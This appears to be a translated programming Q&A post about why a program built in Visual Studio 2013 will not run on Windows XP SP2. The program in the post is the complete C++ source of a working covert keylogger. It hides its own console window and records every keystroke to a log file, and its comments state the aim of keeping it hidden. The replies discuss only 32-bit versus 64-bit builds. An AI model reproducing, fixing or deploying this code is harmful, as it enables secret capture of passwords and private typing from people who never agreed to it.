【发布时间】:2014-10-17 11:45:23
【问题描述】:
我正在 Visual Studio 2013 中编译以下代码。它在我的 Windows 7 上运行,我在上面编译代码。但是,当我将 exe 文件移动到另一个窗口(如 windows xp sp2)时,它无法在其上运行。当我在 windows xp sp2 上运行这个 exe 文件时,在输出中为我显示以下消息。
keylogger.exe 不是有效的 win32 应用程序。
我怎样才能修复这个错误?以下代码是有错误的程序的源代码。
#include <iostream>
#include <windows.h>
#include <winuser.h>
using namespace std; //used to avoid the compilation errors because of redefinition of variables.
int SaveLogs(int key_stroke, char *file);
void Stealth(); //Declare stealth function to make you keylogger hidden
int main()
{
Stealth(); // This will call the stealth function.
char i; //Here we declare 'i' from the type 'char'
while (1){
// Here we say 'while (1)' execute the code.
for (i = 8; i <= 190; i++){
if (GetAsyncKeyState(i) == -32767)
SaveLogs(i, "MYLOGS.txt");
// This will send the value of 'i' and "MYLOGS.txt" to our SaveLogs function.
}
}
system("PAUSE"); // Here we say that the system have to wait before exiting.
return 0;
}
int SaveLogs(int key_stroke, char *file) // Here we define our SaveLogs function.
{
if ((key_stroke == 1) || (key_stroke == 2))
return 0;
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
cout << key_stroke << endl;
if (key_stroke == 8) // The numbers stands for the ascii value of a character
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n");
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);
fclose(OUTPUT_FILE);
return 0;
}
void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth, 0);
}
【问题讨论】:
-
你确定这不应该说
win32而不是win342吗?您是否偶然将应用程序编译为 64 位应用程序? -
简单猜测:您正在 32 位版本的 Windows 上运行 64 位应用程序
-
Andreas: 不,我在 Visual Studio 32 中将此代码编译为 32 位应用程序。但是当我将此代码移至虚拟 Windows XP SP2 时,它无法运行。但在我的主机 Windows 7 中它运行良好。
-
@specializt : 在 Windows XP SP2 和任何较新版本的 Windows 上运行的 c/c++ 编写应用程序绝对没有问题。
-
@specializt :实际上,我正在维护几个(真正的)软件程序,这些程序可以在 Windows XP SP2 上的所有 Windows 操作系统上完美运行。当然你不能使用 XP 中不存在的 API 函数,并且需要采取一些预防措施,但这并不难。